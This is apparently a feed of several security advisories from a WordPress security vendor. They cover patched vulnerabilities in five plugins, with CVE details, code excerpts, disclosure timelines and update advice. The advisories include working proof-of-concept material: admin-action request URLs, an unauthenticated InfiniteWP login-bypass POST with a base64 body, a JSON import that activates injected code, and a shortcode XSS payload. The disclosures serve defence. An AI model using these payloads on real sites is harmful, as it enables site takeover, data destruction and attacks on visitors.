A few weeks ago, our threat intelligence team discovered several vulnerabilities present in Minimal Coming Soon & Maintenance Mode – Coming Soon Page, a WordPress plugin installed on over 80,000 websites. The most severe weakness allowed for an attacker to exploit Cross Site Request Forgery (CSRF) and enable maintenance mode while injecting cross-site scripting (XSS), in addition to several important settings modifications. We later found additional weaknesses that allowed any authenticated user to enable/disable maintenance mode, export settings, and change maintenance mode themes. 

We privately disclosed the issue to the plugin’s developer, with whom we were already working on a security issue in 301 Redirects – Easy Redirects Manager. As we saw with 301 Redirects, they were quick to acknowledge the report and start working on a patch. 

For the vulnerabilities present in Minimal Coming Soon & Maintenance Mode, Wordfence Premium customers received new firewall rules to protect against exploits; free users will receive these rules after thirty days, on February 2, 2020.


Description: CSRF to Stored XSS and Setting Changes
Affected Plugin: Minimal Coming Soon & Maintenance Mode – Coming Soon Page 
Affected Versions: <= 2.10
CVE ID: CVE-2020-6167
CVSS Score: 9.6 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Patched Version: 2.15

Nonce Checks Needed to Validate Setting Changes

The Minimal Coming Soon & Maintenance Mode – Coming Soon Page plugin provides a plethora of features to help customize a site’s maintenance or coming soon page, all of which are accessible in a centralized settings area. 

Unfortunately, this plugin had no nonce checks on any of the settings to verify that a request came from a legitimate source, such as a logged in administrative user. The lack of nonce checks created a CSRF vulnerability, and an attacker could craft a request disguised by a link to trick a site owner into modifying the settings of the plugin.

Vulnerable code snippet:

 } elseif ( isset( $_POST['signals_csmm_submit'] ) ) { {

Revised code snippet with nonce verification:

	  } elseif ( isset( $_POST['signals_csmm_submit'] ) && isset($_POST['csmm_save_nonce']) && wp_verify_nonce($_POST['csmm_save_nonce'], 'csmm_save_settings')) {

The functionality of the settings significantly increases the severity of this vulnerability. In this instance, every setting controlling the plugin’s features could be modified. This included features like inserting custom HTML, enabling maintenance mode, IP whitelisting, general content design, and importing logos. 

An attacker capable of tricking an administrator into clicking on a link with a specially crafted request could create havoc for site owners and their visitors. A malicious link could take the vulnerable site offline by enabling maintenance mode while injecting a malicious javascript into the custom HTML field. That malicious script would then execute when an innocent user browsed the site. This XSS vulnerability could redirect site visitors to malicious websites, infect vulnerable computers, or perform other malicious actions.

XSS exploited in Minimal Coming Soon & Maintenance Mode plugin.

An attacker could also make several additional impactful changes like enabling the “Temporarily Pause Search Engines” setting, hurting a site’s search engine ranking, or including remote files as a “logo” on the site, with little to no restriction on file type. 

This vulnerability is similar to what we saw in another maintenance mode plugin, WP Maintenance, a few weeks ago. Though CSRF is hard to protect against, the Wordfence firewall’s built-in XSS protection protects against any XSS attempts made during a CSRF exploit attempt. Avoid CSRF attacks by not clicking on links or attachments from untrusted sources.


Description: Insecure Permissions: Enable and Disable Maintenance Mode
Affected Plugin: Minimal Coming Soon & Maintenance Mode – Coming Soon Page 
Affected Versions: <= 2.10
CVE ID: CVE-2020-6168
CVSS Score: 7.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
Patched Version: 2.15

The Minimal Coming Soon & Maintenance Mode plugin provides users with the capability to enable and disable maintenance mode from the admin bar to make it more convenient for administrators to toggle between the two modes when performing maintenance on a site.

In order to provide this feature, the plugin registers an admin action with an is_admin() check right before the registered action. Unfortunately, it is a common misconception that the is_admin() function verifies that a request is coming from an administrator logged into the admin dashboard. However, is_admin() only checks that the request is being sent to an administrative page. Administrative pages are accessible to any logged in user, not just administrators. 

This created a flaw that allowed any authenticated user with subscriber permissions or above the ability to enable and disable maintenance mode on a vulnerable site by sending a simple request. If an attacker was unable to create a subscriber account on a vulnerable website without open registrations, they could attempt to exploit this using CSRF due to the lack of nonce checks.

Vulnerable code snippet:

class CSMM {
 static function init() {
   if (is_admin()) {
     add_action('admin_action_csmm_change_status', array(__CLASS__, 'change_status'));
   }
<?php
	  if ($signals_csmm_options['status']== '1') {
	    $action_url = add_query_arg(array('action' => 'csmm_change_status', 'new_status' => 'disabled', 'redirect' => urlencode($_SERVER['REQUEST_URI'])), admin_url('admin.php'));
	  } else {
	    $action_url = add_query_arg(array('action' => 'csmm_change_status', 'new_status' => 'enabled', 'redirect' => urlencode($_SERVER['REQUEST_URI'])), admin_url('admin.php'));
	  }

Proof of Concept

In order to exploit this vulnerability, an attacker would login as a user with subscriber or above permissions and send the following request to enable maintenance mode:

/wp-admin/admin.php?action=csmm_change_status&new_status=enabled&redirect=/wp-admin/

Alternatively, a malicious actor could send the following request to disable maintenance mode:

/wp-admin/admin.php?action=csmm_change_status&new_status=disabled&redirect=/wp-admin/

Wordfence Premium customers have already received new firewall rules to protect against these exploits; free users will receive these rules after thirty days, on February 2, 2020.

 


Description: Insecure permissions: Export Settings/Theme Change
Affected Plugin: Minimal Coming Soon & Maintenance Mode – Coming Soon Page 
Affected Versions: <= 2.15
CVE ID: CVE-2020-6166
CVSS Score: 5.4 (Medium)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Patched Version: 2.17

Another set of features provided by the Minimal Coming Soon & Maintenance Mode plugin includes the ability to export settings and change maintenance mode themes. 

As with the previous vulnerability, we see the same error here: is_admin() appears to be the improper permission check used to verify that an action is triggered by an administrative user, when it is just checking that the request is being sent to a page within the administrative dashboard. 

This created a flaw that would allow any user logged in as a subscriber or above to export the plugin settings as a .txt file or modify the theme of the maintenance page on a vulnerable site.

Example of vulnerable code for settings export:

function csmm_plugin_admin_init() {
	  if (!is_admin()) {
	    Return;
}
add_action('admin_action_csmm_export_settings', 'csmm_export_settings');
function csmm_export_settings() {
    $filename = str_replace(array('http://', 'https://'), '', home_url());
    $filename = str_replace(array('/', '\\', '.'), '-', $filename);
    $filename .= '-' . date('Y-m-d') . '-csmm.txt';

    $options = csmm_get_options();
    unset($options['none']);
    $options = apply_filters('csmm_options_pre_export', $options);

    $out = array('type' => 'CSMM', 'version' => csmm_get_plugin_version(), 'data' => $options);
    $out = json_encode($out);

    header('Content-Type: text/plain');
    header('Content-Disposition: attachment; filename=' . $filename);
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . strlen($out));

    @ob_end_clean();
    flush();

    echo $out;
    exit;
  } // export_settings

Proof of Concept

In order to exploit this vulnerability an attacker would need to login with subscriber or above permissions and send the following request to export the plugin settings:

/wp-admin/admin.php?action=csmm_export_settings&redirect=/wp-admin/

Alternatively, a malicious actor could send the following request to change the theme:

/wp-admin/admin.php?action=csmm_activate_theme&theme=minimal&redirect=/wp-admin/

Wordfence Premium customers have already received new firewall rules to protect against these exploits; free users will receive these rules after thirty days, on February 2, 2020.

Timeline

December 18th, 2019 – Initial contact with developer and notification of CSRF/XSS issues. No rule deployed as our existing XSS rule mitigates the XSS portion of the attack.
December 19th, 2019 – Developer responds and acknowledges issues. 
December 25th, 2019 – Developer releases first patch.
January 3rd, 2020 – Discovery of additional security issues disclosed to plugin developer. New firewall rules released for premium Wordfence users. 
January 7th, 2020 – Developer acknowledges additional vulnerabilities, begins working on additional fixes. 
January 8th, 2020 – Final patch is released. 
February 2nd, 2020 – Free users receive firewall rules.

Conclusion

In today’s post, we detailed several vulnerabilities present in the Minimal Coming Soon & Maintenance Mode – Coming Soon Page plugin, which included one critical vulnerability. Fortunately, the plugin developer was incredibly quick to respond and release a patch for the vulnerable endpoints. These flaws have all been patched in version 2.17 and we urge users to update to the latest available version as soon as possible. 

Sites running Wordfence Premium have been protected from attacks against this vulnerability since January 3, 2020. Sites running the free version of Wordfence will receive the firewall rule update on February 2, 2020 and should update the plugin immediately.

The post Multiple Vulnerabilities Patched in Minimal Coming Soon & Maintenance Mode – Coming Soon Page Plugin appeared first on Wordfence.

Critical Authentication Bypass Vulnerability in InfiniteWP Client Plugin

$
0
0
Description: Authentication Bypass
Affected Plugin: InfiniteWP Client
Affected Versions: < 1.9.4.5
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Patched Version: 1.9.4.5

A vulnerability has been discovered in the InfiniteWP Client plugin versions 1.9.4.4 or earlier. InfiniteWP Client is a plugin that, when installed on a WordPress site, allows a site owner to manage unlimited WordPress sites from their own server. InfiniteWP Client is currently installed on over 300,000 WordPress sites.

This is a critical authentication bypass vulnerability. A proof of concept was published this morning, January 14, 2020. If you are using InfiniteWP client version 1.9.4.4 or earlier we recommend immediately updating your installation to protect your site.

How the InfiniteWP Client Works

The InfiniteWP Client plugin works by allowing a central management server to authenticate to the WordPress installation so that site owners can manage the site. From a central location, site owners can perform maintenance such as one-click updates for core, plugins, and themes across all sites, backup and site restores, and activating/deactivating plugins and themes on multiple sites simultaneously. The InfiniteWP Client plugin authenticates the central management server to each WordPress installation.

The InfiniteWP Authentication Bypass

The vulnerability disclosed last week is an authentication bypass vulnerability, which could allow an attacker to use the authentication logic in the InfiniteWP Client plugin to authenticate and access the WordPress installation with InfiniteWP installed. An attacker would not need the InfiniteWP server installed to exploit this vulnerability; they could simply craft a request addressing the InfiniteWP logic to log in as any administrative user if they know the username.

Update to Wordfence

Normally the Wordfence threat intelligence team would create a firewall rule and deploy it to existing Wordfence installations. Due to the complexity and severity of this vulnerability, we had to integrate protection for this vulnerability into the Wordfence code base, which required us to release a new version of Wordfence.

On Monday, January 13, 2020, we released Wordfence version 7.4.3, which includes protection against the InfiniteWP Client authentication bypass vulnerability.

Technical Details

Here’s a basic proof of concept request which exploits the vulnerability.

POST / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/plain
Content-Length: 93

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==

The body of the request decodes to {"iwp_action":"add_site","params":{"username":"admin"}} which instructs the InfiniteWP client to run the add_site action, and also to login as the admin user. It requires no authentication and is relatively easy to exploit.

When a site is initially setup using InfiniteWP client, it needs to connect to the InfiniteWP server software. The InfiniteWP server sends a request to the InfiniteWP client and passes on a public key. The InfiniteWP server has the corresponding private key which is used to sign requests. Subsequent requests from the InfiniteWP server to the InfiniteWP client can be authenticated by the site by verifying the signature using the public key. The initial request from the InfiniteWP server uses one of two actions, add_site or readd_site. By design, these actions are unauthenticated (since we don’t yet have a public key). Unfortunately, the code is structured so that some features can still be used. In this case, InfiniteWP client provides a feature to automatically login as an administrator without supplying a password.

When a site is initially connected to the InfiniteWP server, the request made by InfiniteWP server to the site actually exploits this vulnerability (unintentionally). This mades it quite difficult to write a WAF rule to protect against this vulnerability since legitimate and malicious requests can be identical.

We opted to integrate protection for this vulnerability into Wordfence. From within Wordfence, we can determine if the site is already connected to an InfiniteWP server, and prevent the vulnerable code from running if either the add_site or readd_site actions are passed to InfiniteWP client.

So far, we have not seen evidence of this vulnerability being exploited in the wild, but we expect to see attempts in the near future.

Non-WordPress Firewalls Ineffective

As an additional note, the fix we have implemented for this vulnerability required tight integration with WordPress. Wordfence runs as a WordPress plugin and is therefore able to implement this kind of fix.

As a firewall vendor, our goal is to minimize false positives while blocking attacks. We don’t want to accidentally block legitimate traffic. Due to the nature of this vulnerability, it is extremely difficult to create a firewall rule that blocks attacks AND eliminates false positives for this vulnerability, without tight integration with the WordPress API.

We are bringing this to your attention because if you are using a cloud based WAF that does not tightly integrate with WordPress, you may not be protected against this vulnerability. Your cloud WAF does not have access to the WordPress API to implement this kind of fix.

Protection for All Users

Normally, we would release a firewall rule to as a part of our Threat Defense Feed which is deployed in real-time to our Wordfence Premium customers, and to the free community version of Wordfence within 30 days. Because protection for this vulnerability required code changes within Wordfence, we’ve opted to make it available to all users immediately.

Our recommendation at this time is to update your InfiniteWP Client plugin as soon as possible to version 1.9.4.5. Updating Wordfence to version 7.4.3 on sites using InfiniteWP Client will provide concurrent protection.

Thank you to Matt Rusnak and Ramuel Gall for contributing to this update.

The post Critical Authentication Bypass Vulnerability in InfiniteWP Client Plugin appeared first on Wordfence.

Easily Exploitable Vulnerabilities Patched in WP Database Reset Plugin

$
0
0

On January 7th, our Threat Intelligence team discovered vulnerabilities in WP Database Reset, a WordPress plugin installed on over 80,000 websites. One of these flaws allowed any unauthenticated user to reset any table from the database to the initial WordPress set-up state, while the other flaw allowed any authenticated user, even those with minimal permissions, the ability to grant their account administrative privileges while dropping all other users from the table with a simple request.

These are considered critical security issues that can cause complete site reset and/or takeover. We highly recommend updating to the latest version (3.15) immediately. Wordfence Premium users have been protected from these vulnerabilities since January 8th with a custom firewall rule. Wordfence free users will receive the same protection on February 7th.


Description: Unauthenticated Database Reset
Affected Plugin: WP Database Reset
Affected Versions: <= 3.1
CVE ID: CVE-2020-7048
CVSS Score: 9.1 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Patched Version: 3.15

WP Database Reset is an easy to use database reset plugin that provides users with the ability to reset any database tables on their site to the same state as a fresh WordPress install. This is handy for administrators doing testing on their website and for administrators who want to start over without requiring a complete WordPress re-installation. This plugin provides a powerful feature that, if left unprotected, could wreak havoc for site owners. Unfortunately, that was exactly what we found in this plugin.

None of the database reset functions in the plugin were securely protected with capability checks or security nonces. Without proper security controls in place, the WP Database Reset plugin contained a serious flaw that allowed any unauthenticated user the ability to reset any table in the database. This reset would result in a complete loss of data availability. An attacker could send a simple request and a site would be completely reset to the WordPress standard defaults.

Vulnerable version of the plugin code:

  
 public function reset( array $tables ) {     
 	      if ( in_array('users', $tables ) ) {
 	        $this->reset_users = true;
 	      }
	 	
 	      $this->validate_selected( $tables );
 	      $this->set_backup();
 	      $this->reinstall();
 	      $this->restore_backup();
 	    }
	 	
 	    private function validate_selected( array $tables ) {
 	      if ( ! empty( $tables ) && is_array( $tables ) ) {
 	        $this->selected = array_flip( $tables );

Revised version of the plugin code with security nonce check and capability check in place:

    public function reset(array $tables)
    {
      if (wp_verify_nonce(@$_REQUEST['submit_reset_form'], 'reset_nounce') && current_user_can('administrator')) {
         // Check if current user is Admin and check the nonce

        if (in_array('users', $tables)) {
          $this->reset_users = true;
        }

        $this->validate_selected($tables);
        $this->set_backup();
        $this->reinstall();
        $this->restore_backup();
      } else {
        throw new Exception(__('Please reload the page and try again. Double check your security code.', 'wordpress-database-reset'));
      }
    }

A WordPress database stores all data that makes up the site including posts, pages, users, site options, comments, and more. With a few simple clicks and a couple of seconds, an unauthenticated user could wipe an entire WordPress installation clean if that installation was using a vulnerable version of this plugin.


Description: Privilege Escalation
Affected Plugin: WP Database Reset
Affected Versions: <= 3.1
CVE ID: CVE-2020-7047
CVSS Score: 8.8 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Patched Version: 3.15

To further escalate the previous vulnerability, any user authenticated as a subscriber and above had the ability to reset the wp_users table. Initially, this doesn’t seem too severe. Dropping all users during a database reset may be problematic, but we can always recreate users, right? Unfortunately, this was more complex. Whenever the wp_users table was reset, it dropped all users from the user table, including any administrators, except for the currently logged-in user. The user sending the request would automatically be escalated to administrator, even if they were only a subscriber. That user would also become the only administrator, thus allowing an attacker to fully take over the WordPress site.

private function update_user_settings() {
 global $wpdb;

 $user_id = $this->reset_users? 1: $this->user->ID;

 $wpdb->query(
   $wpdb->prepare(
    "UPDATE $wpdb->users
     SET user_pass = '%s', user_activation_key = ''
     WHERE ID = '%d'",
     $this->user->user_pass, $user_id
   )
 );

 if ( $this->reset_users ) {
   wp_clear_auth_cookie();
   wp_set_auth_cookie( true );
 }
}

A site owner allowing open registration on a site with a vulnerable version of the WP Database Reset plugin could lose control of their site. Here’s a demonstration of how this exploit would work.


Reminder: Backup Your WordPress Site

This vulnerability serves as an important reminder that maintaining site backups is an incredibly important component to maintaining the security and availability of your site. Some compromises require professional clean up or incident response and forensic investigation. Without backups, even professional remediation wouldn’t be helpful after a compromise like this. Backups can also improve recovery time in the event of a compromise. We recommend that site owners:

  • Backup regularly in intervals. Once a week would be a good place to start.
  • Backup every time a major change is made on the site.
  • Store backups on a server or device separate from WordPress installations. That way the integrity of your backup can be trusted in the event that the site or its server becomes compromised.

Disclosure Timeline

January 7th, 2020 – Vulnerability initially discovered and analyzed.
January 8th, 2020 – Full details disclosed to plugin developer and custom firewall rule released to Wordfence premium users.
January 13th, 2020 – Developer responds and notifies us that a patch will be released the next day.
January 14th, 2020 – Patch released.
January 16th, 2020 – Public disclosure.

Conclusion

In today’s post, we detailed two severe vulnerabilities discovered in the WP Database Reset plugin. These flaws are patched in version 3.15. If you have this plugin installed on your site, we urge you to update immediately.

Sites running Wordfence Premium have been protected from any attacks against these vulnerabilities since January 8th. Free users will receive the same protection on February 7th.

The post Easily Exploitable Vulnerabilities Patched in WP Database Reset Plugin appeared first on Wordfence.

High Severity CSRF to RCE Vulnerability Patched in Code Snippets Plugin

$
0
0
Description: Cross-Site Request Forgery to Remote Code Execution
Affected Plugin: Code Snippets
Affected Versions: <= 2.13.3
CVE ID: CVE-2020-8417
CVSS Score: 8.8 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Patched Version: 2.14.0

On January 23rd, our Threat Intelligence team discovered a vulnerability in Code Snippets, a WordPress plugin installed on over 200,000 sites. The flaw allowed anybody to forge a request on behalf of an administrator and inject executable code on a vulnerable site. This is a Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE) vulnerability. We privately disclosed the full details to the plugin’s developer on January 24th, who was quick to respond and released a patch one day later.

This is a high severity security issue that could cause complete site takeover, information disclosure, and more. We highly recommend updating to the latest version (2.14.0) immediately.

Wordfence Premium customers received a new firewall rule on January 24th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days on February 23rd.

Lack of CSRF Protection to Complete WordPress Site Takeover

Code Snippets is a handy and easy to use plugin that allows users to add code snippets to a WordPress site in order to customize site functionality without having to navigate the site’s underlying code. It makes it easy to enable and disable code snippet functionality in order to test adding new code to a WordPress site.

The plugin developer protected nearly all endpoints of this plugin with WordPress “nonces” for greater security. However, the plugin’s import function lacked that same CSRF protection. Without this protection, an attacker could craft a malicious request to trick an administrator into infecting their own site. This request would execute an action, send a request to the site, and the attacker’s malicious code could be injected and executed on the site. With remote code execution vulnerabilities, exploit possibilities are endless. An attacker could create a new administrative account on the site, exfiltrate sensitive information, infect site users, and much more.

Defaults Can Be Bypassed

Code snippets were implicitly set as ‘disabled’ by default upon import. For imported code snippets to be enabled, additional action needed to be taken. This seemed like great news as it appeared no code snippets that were imported as a result of CSRF would actually be executed on the site unless a site administrator enabled that code – which would be unlikely during a CSRF attack. However, we discovered that this protection could easily be bypassed to allow a code snippet to be enabled upon import. 

An attacker could simply inject an "active" flag with a value of "1" into the JSON body containing the code import details, and the code snippet would be enabled upon import. This escalated a minor problem into a very severe one, as an attacker could now inject malicious code and ensure it would be activated and executed whenever someone accessed the site.

{"generator":"Code Snippets v2.13.3","date_created":"2020-01-23 16:56","snippets":[{"name":"PoC","scope":"global","code":"MALICIOUS CODE HERE","priority":"1","active":"1"}]}

The developer corrected this so that code snippets would always be disabled upon import explicitly, rather than using a more implicit technique to disable snippets upon import found in vulnerable versions of the plugin.

Proof of Concept Walkthrough

We’ve created this short video to show how this vulnerability could be exploited and what the potential impact could be. 

Firewall Rule Impact Disclosure

We encountered some restrictions while trying to write a firewall rule to protect against this vulnerability. CSRF vulnerabilities can be hard to protect against without blocking normal functionality for site administrators as these types of vulnerabilities require an administrator to be logged in and unknowingly execute an action to send a request. From a firewall perspective, this means exploit attempts appear to come from a legitimate, logged-in source.

Due to the risk associated with the vulnerability, we opted to completely block the functionality of the import feature, which means that Wordfence users may experience a false positive block when trying to import code snippets if using a vulnerable version of this plugin. 

Fortunately, the plugin developer changed the endpoint associated with the import functionality, ensuring that updated versions will not encounter any false positive blocks by the Wordfence Firewall. As always, we highly recommend updating to the latest version of this plugin – not only for the security of your site, but also to preserve functionality. 

Disclosure Timeline

January 23rd, 2020 – Vulnerability initially discovered and analyzed. Initial reach to developer.
January 23rd, 2020 – Developer confirms appropriate inbox for handling discussion. 
January 24th, 2020 – Full report sent to developer. Firewall rule released for Wordfence Premium users. 
January 24th, 2020 – Developer confirms details and begins working on patch. 
January 25th, 2020 – Patch released.
February 23rd, 2020 – Wordfence free users receive firewall rule.

Conclusion

In today’s post, we detailed a CSRF to RCE vulnerability in the Code Snippets plugin. This flaw has been patched in version 2.14.0 and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against this vulnerability since January 24th. Sites running the free version of Wordfence will receive the firewall rule update on February 23rd, 2020.

Special thanks to the plugin developer, Shea Bunge, for responding promptly and reacting swiftly to get a patch out a day after full disclosure. 

The post High Severity CSRF to RCE Vulnerability Patched in Code Snippets Plugin appeared first on Wordfence.

Improper Access Controls in GDPR Cookie Consent Plugin

$
0
0
Description: Improper Access Controls
Affected Plugin: GDPR Cookie Consent
Affected Versions: <= 1.8.2
CVSS Score: 9.0 (Critical)
CVSS Vector:
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Patched Version: 1.8.3

The following post describes how improper access controls lead to a stored cross-site scripting vulnerability in the GDPR Cookie Consent plugin that emerged after it was removed from the repository. The Wordfence team released a firewall rule to our Premium customers on February 10th.

To help create awareness of this issue, we are disclosing details of this vulnerability today, now that a fix has been released and users who do not use Wordfence Premium have a clear upgrade path. A technical description of the vulnerability in the “GDPR Cookie Consent” plugin follows.

GDPR Cookie Consent is a plugin providing site owners with the functionality to present an unintrusive modal to allow end users of the site to review and consent to receiving that site’s cookies. It’s useful for sites looking to be in compliance with EU GDPR/Cookie Law regulations. GDPR Cookie Consent currently has 700,000 active installs.

Earlier this week, the GDPR Cookie Consent plugin was closed “pending a full review” according to the plugin’s page in the directory. Normally when plugins are closed in the WordPress plugins directory without a clear reason, plugin users can be concerned or confused. Because plugins can often be closed due to security issues, we decided to investigate to see if this was the case. The development log showed the most recent revision with the log message “1.8.3 – PHP 7.4 compatibility – Security fix”, so we decided to dig further into the code changes to determine its severity to protect Wordfence users.

There were a number of code changes, but those relevant to security include a capabilities check added to an AJAX endpoint used in the plugin’s administration pages.

Because the AJAX endpoint was intended to only be accessible to administrators, the vulnerability allows subscriber-level users to perform a number of actions that can compromise the site’s security.

There are 3 actions that the vulnerability exposes to subscribers: get_policy_pageid, autosave_contant_data, and save_contentdata.

get_policy_pageid does not do much other than return the post ID of the plugin’s configured cookie policy page. There isn’t much risk with having this action available to subscribers.

autosave_contant_data is intended to define the default content that appears in the cookie policy preview page. The stored HTML content is unfiltered and can contain cross-site scripting (XSS) payloads. The cookie policy preview page is publicly accessible to all users, and these XSS payloads will be executed when visiting http://<wordpress-site>/cli-policy-preview/.

save_contentdata is designed to create or update update the corresponding post used as the GDPR Cookie Policy page that end users of the site would view to choose whether to accept cookies from the site. The action takes a page_id parameter along with a content_data parameter which contains the post content. The page_id parameter allows the attacker to update the post content of any post. Additionally, it will set the post status to draft, so attackers looking to use this vulnerability for defacement won’t be able to display the post content to normal end users of the site. It could potentially be used to remove posts and pages from the public-facing portion of the site though.

Since the post is in draft status, the post content will be visible to the post author, editors, and administrators. By default, when wp_insert_post is used for creating and updating posts, the post content is run through wp_filter_post_kses which is WordPress’s HTML whitelist. It’s designed to only allow specific HTML tags and attributes, and will strip out XSS payloads.

Because the post content can contain shortcodes, an attacker can however use GDPR Cookie Consent’s built-in shortcodes to bypass the KSES filter. These shortcodes are parsed when viewing the rendered post in the browser. Here’s an example shortcode that can included in the post content that will render a valid XSS payload in the browser when viewing the post:

[cookie_accept colour='" onmousemove=alert(/xss/);this.onmousemove=null; style="position:fixed;top:0;right:0;bottom:0;left:0;" test="']

Because the post itself will no longer be public on the site (since the post status has been changed to draft) the XSS payload can only be executed by authors, editors, and administrators who view the post.

Timeline

  • February 8, 2020 – GDPR Cookie Consent plugin is removed from the wordpress.org plugin directory.
  • February 10, 2020 8:02 AM UTC – A patch fixing the vulnerability is pushed to plugins.svn.wordpress.org.
  • February 10, 2020 6:37 PM UTC – We deploy a firewall rule to provide protection against this vulnerability to our Threat Defense Feed.
  • February 11, 2020 10:00 PM UTC – GDPR Cookie Consent is re-opened in the plugin directory with the patched version available for download.
  • March 11, 2020 – Wordfence users still using the free version receive the firewall rule to protect their site.

Conclusion

In today’s post, we detailed how a missing capabilities check can lead to stored cross-site scripting in the GDPR Cookie Consent plugin. This vulnerability has been fixed in version 1.8.3. We recommend that users immediately update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since February 10th. Sites running the free version of Wordfence receive the firewall rule update on March 11th, 2020.

Additionally, the generic XSS protection built into our WAF blocked the XSS payloads sent to all AJAX endpoints tested with this vulnerability. This XSS protection is provided out of the box with the Wordfence WAF, and has been available all along to both premium and free users.

Special thanks to Matt Rusnak and Ryan Britton for handling the initial investigation into this vulnerability.

The post Improper Access Controls in GDPR Cookie Consent Plugin appeared first on Wordfence.

Viewing all 426 articles
Browse latest View live